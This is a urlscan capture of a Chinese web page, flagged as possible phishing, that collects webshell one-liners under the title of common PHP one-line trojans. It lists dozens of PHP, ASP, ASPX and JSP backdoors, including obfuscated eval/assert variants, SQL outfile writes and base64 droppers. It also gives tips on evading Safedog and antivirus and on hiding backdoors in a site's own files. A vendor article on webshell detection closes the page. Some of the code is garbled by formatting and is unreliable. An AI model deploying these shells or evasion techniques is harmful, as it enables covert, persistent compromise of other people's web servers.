yemaozi999.buzz Open in urlscan Pro
2a06:98c1:3121::3  Public Scan

URL: https://yemaozi999.buzz/html/28.html
Submission Tags: @ecarlesi possiblethreat #phishing Search All
Submission: On October 12 via api from AU — Scanned from NL

Form analysis 0 forms found in the DOM

Text Content

返回首页 国外颜色大全 电报群组大全 绅士游戏 网友推荐 名站导航 在线视频 影片搜索引擎 特殊爱好 综合论坛 小说 动漫 直播 美图 欧美视频 实用工具


 技术分享


    常见的php一句话木马大全,常见webshell流量特征




PHP一句话木马的普通形式

<?php eval(@$_POST['password']);?>  


<?php ; ?>是php木马的基本格式


> eval是执行函数
> $_POST[‘password’]是接收的数据,此处使用的是POST方式,同样存在GET、COOKIE方式,一句话木马通过eval函数把接收的数据当作PHP代码来执行



目录PHP 普通一句话 PHP系列 过狗一句话 PHP过狗 几个变性的php--过防火墙 phpv9 高版本拿shellASP asp 一句话
ASP过安全狗一句话 ASPX系列 aspx一句话JSP 过护卫神的插入一句话容易爆错 一句话木马到两句话木马的转型! 一句话免杀:
一:变形法支持变异菜刀连接以过安全狗,过啊D 文件扫描的一句话 ASP ASPASPX

PHP

<pre> <body><? @system($_GET["cc"]); ?></body> </pre>

//可执行命令一句话




普通一句话

<?php eval($_POST[cc123]) ?> <?php @eval($_POST['cc123']);?>




PHP系列

<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xindong"]); ?> <?php
$lang = (string)key($_POST);$lang($_POST['xindong']);?> <?php $k="ass"."ert";
$k(${"_PO"."ST"} ['xindong']);?> <?php $a = "a"."s"."s"."e"."r"."t";
$a($_POST["xindong"]); ?> <?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> 密码是 -7




过狗一句话

select '<?php @eval($_POST[cmd]);?>' into outfile
'C:/Inetpub/wwwroot/mysql-php/1.php'




<?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B
$_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______;
$_______++;//E $________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________; $_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R $_____=$_________; $_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p")); ?> <?php $_REQUEST['a']($_REQUEST['b']); ?>
<?php $t=$_GET['t']; $tt=$_GET['tt'];
$s=t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=t.$ttt;
$s($_REQUEST['cc']);?> <?php $t=$_GET['t']; //t=tt $tt=$_GET['tt']; //tt=as
$ttt=$_GET['ttt']; //ttt=s $tttt=$_GET['tttt']; //ttt=ert
$s=t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=t.ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=a.d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=b;
$d($_REQUEST['cc']); ?>PHP过狗<?php if($_POST[x]!=''){$a="base64_decode";
eval($a($_POST[z0]));}?> 密码:x<%a=request(“gold”)%><%eval a%>
fuck<?phpeval($_POST[a])?> <?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?> 密码 4该日志目录不存在或权限不足,请检查设置!<?phpeval($_POST[a])?>




几个变性的php–过防火墙




过狗效果都不错:

<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?> <?php $lang =
(string)key($_POST);$lang($_POST['sz']); ?> <?php $k="ass"."ert";
$k(${"_PO"."ST"} ['sz']);?> <?php $a = "a"."s"."s"."e"."r"."t";
$a($_POST["sz"]); ?>这个是90发的<?php @$_=“s”.“s”./-/-/“e”./-/-/“r”; @= / ∗ − / ∗ − ∗
/ " a " . / ∗ − / ∗ − ∗ / _=/*-/*-*/"a"./*-/*-*/ =
/∗−/∗−∗/"a"./∗−/∗−∗/_./-/-*/“t”; @/ ∗ − / ∗ − ∗ / ( _/*-/*-*/( /
∗−/∗−∗/(/-/-/{"_P"./-/-/“OS”./-/-*/“T”}
[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]);?>

密码-7

phpv9 高版本拿shell

<?php
file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+'));
?>…/…/…/…/html/special/cc/index




ASP

asp 一句话

<%execute(request(“cmd”))%><%execute request(“1”)%>ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾
密码a"%><%Eval(Request(chr(112)))%><%’ p <%Y=request(“xindong”)%> <%execute(Y)%>
<%eval
(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“xindong”))%>
<%eval""&(“e”&“v”&“a”&“l”&"("&“r”&“e”&“q”&“u”&“e”&“s”&“t”&"("&“0”&"-"&“2”&"-"&“5”&")"&")")%>(密码是-7)




ASP过安全狗一句话

密码(pass) <% %> <%a=request(“zl”)%><%eval a%>




ASPX系列

ASPX一句话的 过安全狗效果不怎么样

不过我认为能支持aspx 百分之8/90支持asp

<%@ Page Language = Jscript
%><%var/-/-/P/-/-/=/-/-/“e”+“v”+/-/-/“a”+“l”+"("+“R”+“e”+/-/-/“q”+“u”+“e”/-/-/+“s”+“t”+“[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]”+“,”+"""+“u”+“n”+“s”/-/-/+“a”+“f”+“e”+"""+")";eval(/-/-/P/-/-/,/-/-/“u”+“n”+“s”/-/-/+“a”+“f”+“e”/-/-/);%>
密码 -7 <%@ Page Language=“Jscript”%><%eval(Request.Item[“xindong”],“unsafe”);%>
密码是webadmin

aspx一句话

<%@ Page Language=“Jscript” validateRequest=“false”
%><%Response.Write(eval(Request.Item[“w”],“unsafe”));%>




JSP

<%if(request.getParameter(“f”)!=null)(new
java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
select ‘<?php eval($_POST[cmd];?>’ into outfile
‘C:/Inetpub/wwwroot/mysql-php/1.php’

过护卫神的

<%E=request(“1”)%>abc

123456789<%executeE%>

原来代码是<%execute request(“cmd”)%> 把标签修改替换下来 为

<scriptlanguage=VBScript runat=server>execute request(“cmd”) 这样就避开了<%,%>符号!

表中数据段限制,一句话木马也写不下的情况

网络中流传的最小的木马代码是<%eval request("#")%> 如过连这也写不下怎么办?

将木马分开写就好了!<%Y=request(“x”)%> <%execute(Y)%> 这样分开写提交到数据库就没问题了!

不过,在ACCESS数据库中新增加的数据物理位置是在旧数据之前的,所以要先写<%execute(Y)%>部分。写好后在客户端写密码时除了填写"x"以外的任何字符都可以,如果填了"x"就会出错!




插入一句话容易爆错

例如

Sub unlockPost() Dim id,replyid,rs,posttable id=Request(“id”)
replyid=Request(“replyid”) If Not IsNumeric(id) or id="" Then




写成

Sub unlockPost(<%eval request("#")%>) Dim id,replyid,rs,posttable
id=Request(“id”) replyid=Request(“replyid”) If Not IsNumeric(id) or id="" Then




就可以了,也可以写成带容错语句的格式!!

<%if request(“cmd”)<>""then execute request(“cmd”)%>




一句话木马到两句话木马的转型!




一句话木马服务端原型:<%execute request(“value”)%> ,

变形后:<%On Error Resume Next execute request(“value”)%> ,

至于为什么要用两句话木马呢,是由于使我们的后门更加隐蔽.

我也试过用一句话插入WellShell的某个ASP文件里面,可是访问时经常出错,而插入两句话木马服务端却可以正常访问了,对站点的页面无任何影响.

这样就达到了隐蔽性更强的目的了,他管理员总不会连自己的网页文件都删了吧.

现在我的WellShell都有这样的后门.选择要插入两句话木马的ASP文件要注意,选一些可以用IE访问的ASP文件,不要选conn.asp这样的文件来插入.

当然,连接两句话木马的客户端仍然是用一句木马的客户端,不用修改.




一句话免杀:




一:变形法

比如:eval(request("#"))这样的马儿呢,一般情况下是不被杀的。但实际上,经常杀毒软件会把eval(request列为特征码。所以我们变形一下




E=request(“id”) eval(E)

这样可达到免杀的目的。

例如:<%execute request(“1”)%> 变形后:

<%E=request(“1”) execute E%>




当然,这种变形是最好做的。

介绍第二种方法:因为很多管理员很聪明,它会检查ASP文件中的execute和eval函数。所以呢,不管你怎么反编译,它最终总是要用其中的一个函数来解释运行,所以还是被发现了。好么,我们用外部文件来调用。建一个a.jpg或者任何不被发现的文件后缀或文件名。写入execute(request("#"))当然,你可以先变形后现放上去。然后在ASP文件中插入

来引用它,即可。

不过,管理员可以通过对比文件的方式找到修改过的文件,不过这种情况不多。

在WEBSHeLL中使用命令提示

在使用ASP站长助手6.0时点击命令提示符显示“没有权限”的时候,可以使用ASP站长助手上传CMD.exe到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来),再修改你的WEBSHELL找到调用CMD.EXE的代码。原来的代码如下

.exec("cmd.exe /c "&DefCmd).stdout.readall




修改为

.exec(“你想上传的cmd.exe绝对路径” /c"&DefCmd).stdout.readall

比如你上传到的目录是D:\web\www\cmd.exe,那么就修改成

.exec(“D:\web\www\cmd.exe /c”&DefCmd).stdout.readall

支持变异菜刀连接以过安全狗,过啊D 文件扫描的一句话

实已经不是一句话了,好几句了都。

继续上次的:我使用的一句话的几种姿态

这回研究了下PHP,发一下我使用的一句话(可过文件扫描)。




ASP

<?php $mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;"); } ?>

密码z,支持菜刀连接;支持变异菜刀连接以过安全狗。

另外:

ASP

<% Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"//",""""),"*",vbCrlf)End
FunctionExecute MorfiCoder(")//z/*/(tseuqer lave") %>




ASPX

<%
popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%>




分享是交流的关键,我不喜欢什么大马 小马 一句话是我的最爱,不仅隐藏性高 免杀效果好 而且无后门(当然排除菜刀有) ---- 没禁用一句话post的情况下。



不断进化的Webshell

Webshell通常是PHP/ASP/ASPX/JSP/
PYTHON等语言编写的脚本文件,原本是用于管理服务器、网站及数据库的工具,但在黑客手中就成了提权、权限驻留,以及横向渗透的帮凶。Webshell不像病毒
、挖矿程序等二进制程序一样能独立执行,需要通过Web中间件的配合解析,为了更好的绕过检测手段,Webshell已经先后进化出4种形态:

①小马

体积小、容易被上传,一般只具备文件上传功能,通常被用于下载大马。

②大马

体积大、功能全,具有文件管理、数据库管理、账号权限管理的能力,如phpSpy、jspSpy等常见大马。

③一句话木马

一句话木马相比小马&大马有本质的区别,用一句简短的代码来承载payload,将动辄十几K或者更大的大小马变成了几个字节。一句话代码极为精炼,不像小马&大马一样将直接功能写在脚本文件中,因此几乎没有什么特征,很难被病毒引擎检测到。一句话木马的出现,将攻击门槛和攻击成本大幅拉低,这也是目前最常见的Webshell攻击手段。一句话木马需要配合蚁剑、菜刀、冰蝎等客户端使用,通过客户端发送功能函数到服务端,服务端将功能函数执行并将结果返回,从而实现服务器端的恶意操作。

④内存马

内存马是目前检测难度最高的Webshell,在服务器端没有文件实体,而是通过Web中间件污染系统内存,实现恶意代码驻留,再通过远程工具连接即可利用中间件执行恶意操作,比一句话木马的检测难度更高,近年来备受攻击者追捧,但也有一定缺陷,比如Web中间件重启后就会被释放掉。

Webshell典型攻击链(关联MITRE ATT&CK)

Webshell的攻击可以有多种组合,我们以一个“Webshell上传-内网探测-横向移动-释放后门/病毒”的横向移动攻击链为例,回溯Webshell的攻击。

Mircosoft《Ghost in the shell: Investigating web shell attacks》

攻击链:①扫描探测发现web服务器(边界服务器)存在可利用漏洞,利用漏洞上传Webshell  ②利用Webshell执行内网暴破、端口扫描
③获取内网权限,IPC$入侵、PsExec类工具利用横向移动 ④拿下内网目标机器,投放病毒&后门、窃取数据。

动静结合,对抗Webshell

如何有效对抗Webshell ? 据奇安信云服务器安全BG「天择实验室」
知名安全专家吴康、闫雪介绍,依靠静态特征已经不足以对抗日益变化的Webshell,还需要结合污点跟踪、动态脚本沙盒和威胁情报“组合拳”的方式,才能实现对Webshell的有效检测和查杀。

Webshell检测引擎,会对疑似Webshell的脚本文件进行多维度综合分析和追踪,配合应用运行时自我保护RASP以及内存马检测模块,能有效检测变形、混淆代码、内存驻留的Webshell。

Webshell检测流程

跟踪Webshell完整的攻击路径,依次调用文本哈希匹配模块、智能脚本分类器、文本索引正则规则、模糊哈希匹配、本地沙箱和静态污点跟踪模块进行检测,如果经过上述模块检测仍未检出,则根据脚本分类器的分类结果将文件内容发送至云中心的特定脚本沙盒中运行,并根据其脚本行为特征确定是否为恶意脚本,并在Webshell运行时通过RASP进行监控和拦截。

 * AI算法提升检测速度

传统的webshell检测方法采用特征检测,这种方式在进行大文件匹配时速度非常慢,同时会占用大量系统资源(CPU、内存等),因此龙息引擎则采用短文本规则索引、正则表达式规则相结合的树形规则结构,在对某个Webshell脚本文件进行匹配时,首先会从规则树的根节点字符进行深度优先遍历,从而大幅度提升检测速度,同时根据奇安信威胁情报中心的海量Webshell样本库,生成正则表达式规则对目标文件进行AI算法检测,进一步减少了正则匹配的次数,将检测效率再次提升。

 * 本地&管理中心沙箱模块,虚拟执行发现恶意代码

对于某些语法相对简单的Webshell类型,例如Javascript语言的.NET类Webshell,龙息引擎使用简化的脚本引擎沙箱对此类脚本文件在本地进行模拟执行,但考虑到执行效率和安全性等方面考虑,较为复杂的脚本文件会被上传至管理中心沙盒中运行,沙盒会根据其行为特征判定恶意脚本,并将结果返回至客户端。为防止某些Webshell程序对自身进行二次解密后继续执行的情况,龙息引擎还对任何生成新文件或代码解释的所传入的内容利用规则库进行了二次扫描,以避免被绕过。

 * 内存马检测,发现驻留内存的恶意代码

内存马是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的Webshell,是无文件攻击的常用工具,因为其利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。龙息引擎通过下发扫描任务的方式,对JVM中加载的易被内存WebShell利用的类进行扫描,将异常的类上传至沙箱反编译为java代码并进行特征比对,可以有效检测冰蝎等常见工具的内存WebShell攻击。

 * RASP检测Webshell运行,监控异常行为

Webshell对抗可以分为运行前和运行时两个阶段,通过龙息引擎可以将绝大部分运行前的Webshell清除,在运行时阶段,则采用RASP(Web应用运行时自我保护)技术来进一步检测Webshell行为,RASP可以理解为通过权限控制技术来限定Web应用的行为规范(文件操作、命令执行、IO等),比如一个最新的Webshell绕过了龙息引擎的检测,但在Web应用解析时发现有执行powershell写入内存马的操作,即会被RASP检测并拦截。


①在测试环境中利用weblogic反序列化漏洞上传Webshell,被拦截:

在管理中心生成事件报告:

②通过ftp上传webshell,被直接拦截



©夜猫子导航

警告:若访客所在地区法律不允许,请自觉离开!